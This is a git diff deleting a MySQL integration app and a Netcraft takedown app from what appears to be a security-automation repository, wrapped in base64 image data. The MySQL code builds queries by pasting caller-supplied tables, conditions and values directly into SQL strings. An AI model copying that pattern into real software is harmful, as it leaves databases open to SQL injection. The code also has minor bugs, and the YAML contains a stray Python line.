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 diff --git a/mysql/1.0.0/requirements.txt b/mysql/1.0.0/requirements.txt deleted file mode 100644 index 28cc0ef7..00000000 --- a/mysql/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -mysql-connector-python==8.0.23 diff --git a/mysql/1.0.0/src/app.py b/mysql/1.0.0/src/app.py deleted file mode 100644 index f5996137..00000000 --- a/mysql/1.0.0/src/app.py +++ /dev/null @@ -1,427 +0,0 @@ -from ast import Return -import asyncio -import json -from urllib import response -import itertools -import mysql.connector -from mysql.connector import errorcode - -from walkoff_app_sdk.app_base import AppBase - - -class MySQL(AppBase): - __version__ = "1.0.0" - app_name = "MySQL" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Write your data inside this function - - def create_database(self, server, user, password, database, name, tables=None): - try: - conn = mysql.connector.connect(host=server, user=user, passwd=password) - cursor = conn.cursor() - except Exception as err: - error = {"Error": "Couldn't import the data!"} - return error - - # try to create the database - try: - cursor.execute( - f"CREATE DATABASE {name} CHARACTER SET = 'utf8' COLLATE = 'utf8_general_ci'" - ) - except mysql.connector.Error as err: - error = {"Error": f"Failed creating database: {err}"} - return error - - # Try to use the database, if it does not exist it creates - try: - cursor.execute(f"USE {name}") - except mysql.connector.Error as err: - print(f"Database {name} does not exists.") - if err.errno == errorcode.ER_BAD_DB_ERROR: - self.create_database(cursor) - print(f"Database {name} created successfully.") - conn.database = name - else: - error = {"Error": f"Couldn't use the database {name}: {err}"} - return err - else: - if tables: - if not isinstance(tables, list) and not isinstance(tables, dict): - tables = json.loads(tables) - - t_count = 0 - for table_name in tables: - table_description = tables[table_name] - try: - print(f"Creating table {table_name}: ", end="") - cursor.execute(table_description) - print(f"Table {table_name} created with success!") - t_count += 1 - except mysql.connector.Error as err: - if err.errno == errorcode.ER_TABLE_EXISTS_ERROR: - print(f"Table {table_name} already exists.") - error = {"Error": f"Table {table_name} already exists."} - return error - else: - print(err.msg) - error = { - "Error": f"Couldn't create table {table_name}: {err.msg}" - } - return error - - response = { - "message": f"Database {name} and tables created with success!", - "tables": tables, - } - - return json.dumps(response, indent=4) - else: - return f"Database {name} created with success!" - - # Create Tables - def create_tables(self, server, user, password, database, tables): - if not isinstance(tables, list) and not isinstance(tables, dict): - tables = json.loads(tables) - - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - error = {"Error": "Something is wrong with your user name or password"} - return error - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - error = {"Error": "Database does not exist"} - return error - else: - print(err) - error = {"Error": f"{err}"} - return error - else: - cursor = conn.cursor() - t_count = 0 - for table_name in tables: - table_description = tables[table_name] - try: - print(f"Creating table {table_name}: ", end="") - cursor.execute(table_description) - print("created with success!") - t_count += 1 - except mysql.connector.Error as err: - if err.errno == errorcode.ER_TABLE_EXISTS_ERROR: - print("already exists.") - error = {"Error": f"Table {table_name} already exists."} - return error - else: - print(err.msg) - error = {"Error": f"{err.msg}"} - return error - result = ( - "Table(s) created with success!" - if t_count > 1 - else "Table created with success!" - ) - cursor.close() - conn.close() - return result - - # Insert data into table - def insert_data(self, server, user, password, database, table, data): - if not isinstance(data, list) and not isinstance(data, dict): - data = json.loads(data) - - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - error = {"Error": "Something is wrong with your user name or password"} - return error - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - error = {"Error": "Database does not exist"} - return error - else: - print(err) - error = {"Error": f"{err}"} - return error - else: - cursor = conn.cursor() - if isinstance(data, list): - for row in data: - fields = "" - value_fields = "" - - if len([*row]) > 1: - fields = ", ".join(row.keys()) - for i, key in enumerate(row.keys()): - value_fields += ( - f"%({key})s, " - if i != len(row.keys()) - 1 - else f"%({key})s" - ) - else: - fields = next(iter(row.keys())) - - sql = ( - "INSERT INTO `" - + table - + "` (" - + fields - + ") VALUES (" - + value_fields - + ")" - ) - - try: - print(f"Inserting data into {table}: ", end="") - cursor.execute(sql, row) - print("inserted with success!") - conn.commit() - except mysql.connector.Error as err: - print(err) - error = {"Error": f"{err}"} - return error - else: - fields = "" - value_fields = "" - - if len([*data]) > 1: - fields = ", ".join(data.keys()) - for i, key in enumerate(data.keys()): - value_fields += ( - f"%({key})s, " - if i != len(data.keys()) - 1 - else f"%({key})s" - ) - else: - fields = next(iter(data.keys())) - - sql = ( - "INSERT INTO `" - + table - + "` (" - + fields - + ") VALUES (" - + value_fields - + ")" - ) - - try: - print(f"Inserting data into {table}: ", end="") - cursor.execute(sql, data) - print("inserted with success!") - conn.commit() - except mysql.connector.Error as err: - print(err) - error = {"Error": f"{err}"} - return error - - cursor.close() - conn.close() - response = { - "message": f"Data inserted with success into table {table}!", - "data": data, - } - - return json.dumps(response, indent=4) - - # Query Data - def query_data( - self, server, user, password, database, table, fields=None, condition=None - ): - query = f"SELECT {fields} FROM {table}" if fields else f"SELECT * FROM {table}" - if condition: - query += f" WHERE {condition}" - - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - cursor = conn.cursor() - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - return "Something is wrong with your user name or password" - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - return "Database does not exist" - else: - print(err) - return err - - cursor.execute(query) - row_headers = [x[0] for x in cursor.description] - json_data = [] - for result in cursor.fetchall(): - json_data.append(dict(zip(row_headers, result))) - result = cursor - cursor.close() - conn.close() - return json.dumps(json_data, indent=4) - - #update data - def update_data(self, server, user, password, database, table, fields=None, condition=None, data_value=None - ): - q = f"SELECT * from {table}" - if condition: - q += f" WHERE {condition}" - query = f"UPDATE {table} SET " - for (key,value) in zip(fields,data_value): - query += f"{key} = '{value}'," - - query = query[:-1] - if condition: - query += f" WHERE {condition}" - - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - cursor = conn.cursor() - cursor.execute(q) - rs = cursor.fetchone() - if rs == None: - cursor.close() - return f"data not found" - else: - cursor1 = conn.cursor() - cursor1.execute(query) - conn.commit() - cursor1.close() - conn.close() - response = { - "message": f"Data updated with success {table}!", - "data": query,} - return json.dumps(response, indent=4) - - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - return "Something is wrong with your user name or password" - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - return "Database does not exist" - else: - print(err) - return err - - # delete data - def delete_data(self, server, user, password, database, table, fields=None, condition=None - ): - - q = f"SELECT * from {table}" - if condition: - q += f" WHERE {condition}" - query = f"DELETE FROM {table}" - if condition: - query += f" WHERE {condition}" - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - cursor = conn.cursor() - cursor.execute(q) - rs = cursor.fetchone() - if rs == None: - cursor.close() - return f"data not found" - else: - cursor1 = conn.cursor() - cursor1.execute(query) - conn.commit() - cursor1.close() - conn.close() - response = { - "message": f"Data deleted with success {table}!", - "data": query,} - return json.dumps(response, indent=4) - - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - return "Something is wrong with your user name or password" - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - return "Database does not exist" - else: - print(err) - return err - - # join - def join(self, type, server, user, password, database, fields=None - ): - try: - conn = mysql.connector.connect( - host=server, user=user, passwd=password, db=database - ) - cursor = conn.cursor() - except mysql.connector.Error as err: - if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: - print("Something is wrong with your user name or password") - return "Something is wrong with your user name or password" - elif err.errno == errorcode.ER_BAD_DB_ERROR: - print("Database does not exist") - return "Database does not exist" - else: - print(err) - return err - if type == "INNER JOIN": - cursor.execute(fields) - row_headers = [x[0] for x in cursor.description] - json_data = [] - for result in cursor.fetchall(): - json_data.append(dict(zip(row_headers, result))) - result = cursor - cursor.close() - conn.close() - return json.dumps(json_data, indent=4) - elif type == "LEFT JOIN": - cursor.execute(fields) - row_headers = [x[0] for x in cursor.description] - json_data = [] - for result in cursor.fetchall(): - json_data.append(dict(zip(row_headers, result))) - result = cursor - cursor.close() - conn.close() - return json.dumps(json_data, indent=4) - elif type == "RIGHT JOIN": - cursor.execute(fields) - row_headers = [x[0] for x in cursor.description] - json_data = [] - for result in cursor.fetchall(): - json_data.append(dict(zip(row_headers, result))) - result = cursor - cursor.close() - conn.close() - return json.dumps(json_data, indent=4) - elif type == "CROSS JOIN": - cursor.execute(fields) - row_headers = [x[0] for x in cursor.description] - json_data = [] - for result in cursor.fetchall(): - json_data.append(dict(zip(row_headers, result))) - result = cursor - cursor.close() - conn.close() - return json.dumps(json_data, indent=4) - else: - return f"Select join" - -if __name__ == "__main__": - MySQL.run() diff --git a/netcraft/1.0.0/Dockerfile b/netcraft/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/netcraft/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/netcraft/1.0.0/api.yaml b/netcraft/1.0.0/api.yaml deleted file mode 100644 index 8f4eb11a..00000000 --- a/netcraft/1.0.0/api.yaml +++ /dev/null @@ -1,223 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: netcraft -description: Netcraft app interface -tags: - - Phishing - - Threat intel -categories: - - Threat intel - - Phishing -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: report_attack - description: Report an attack for takedown - parameters: - - name: user - description: The user to use for the API - multiline: false - example: "Username" - required: true - schema: - type: string - - name: password - description: The password to use for the API - multiline: false - example: "p@ssw0rd" - required: true - schema: - type: string - - name: attack - description: The url or email you want to report - multiline: false - example: "https://google.com" - required: true - schema: - type: string - - name: comment - description: A comment to use for the takedown - multiline: false - example: "Thanks for taking down my phishing site :)" - required: true - schema: - type: string - returns: - schema: - type: string - - name: get_takedowns - description: Get a takedown by multiple values - parameters: - - name: user - description: The user to use for the API - multiline: false - example: "Username" - required: true - schema: - type: string - - name: password - description: The password to use for the API - multiline: false - example: "p@ssw0rd" - required: true - schema: - type: string - - name: id - description: The id of the takedown - multiline: false - example: "123456" - required: false - schema: - type: string - - name: group_id - description: The groupid of the takedown - multiline: false - example: "654321" - required: false - schema: - type: string - - name: domain - description: The domain to search for - multiline: false - example: "example.com" - required: false - schema: - type: string - - name: attack_url - description: The url to search for - multiline: false - example: "https://example.com/malicious" - required: false - schema: - type: string - - name: ip - description: The IP to search for - multiline: false - example: "1.2.3.4" - required: false - schema: - type: string - - name: domain_attack - description: Is it a domain attack? - multiline: false - example: "yes" - required: false - schema: - type: string - - name: statuses - description: Statuses to search for - multiline: false - example: "Verified,Contacted Police" - required: false - schema: - type: string - - name: phishkit_only - description: Requires phishkit? - multiline: false - example: "false" - required: false - schema: - type: string - - async def get_takedowns(user, password, id="", group_id="", url="", ip="", domain_attack="", statuses="", phishkit_only=""): - returns: - schema: - type: string - - name: get_takedown - description: Get a takedown by its id or group_id - parameters: - - name: user - description: The user to use for the API - multiline: false - example: "Username" - required: true - schema: - type: string - - name: password - description: The password to use for the API - multiline: false - example: "p@ssw0rd" - required: true - schema: - type: string - - name: id - description: The id of the takedown - multiline: false - example: "123456" - required: false - schema: - type: string - - name: group_id - description: The groupid of the takedown - multiline: false - example: "654321" - required: false - schema: - type: string - returns: - schema: - type: string - - name: escalate_takedown - description: Use to escalate a takedown to manual - parameters: - - name: user - description: The user to use for the API - multiline: false - example: "Username" - required: true - schema: - type: string - - name: password - description: The password to use for the API - multiline: false - example: "p@ssw0rd" - required: true - schema: - type: string - - name: id - description: The ID of the item to take down - multiline: false - example: "123456" - required: true - schema: - type: string - returns: - schema: - type: string - - name: screenshot - description: Take a screenshot of an URL using Netcraft - parameters: - - name: user - description: The user to use for the API - multiline: false - example: "Username" - required: true - schema: - type: string - - name: password - description: The password to use for the API - multiline: false - example: "p@ssw0rd" - required: true - schema: - type: string - - name: takedownurl - description: The URL to screenshot - multiline: false - example: "https://malicious.com" - required: true - schema: - type: string - - name: proxies - description: The proxies to use based on netcraft standards - multiline: false - example: "dk,us,jp" - required: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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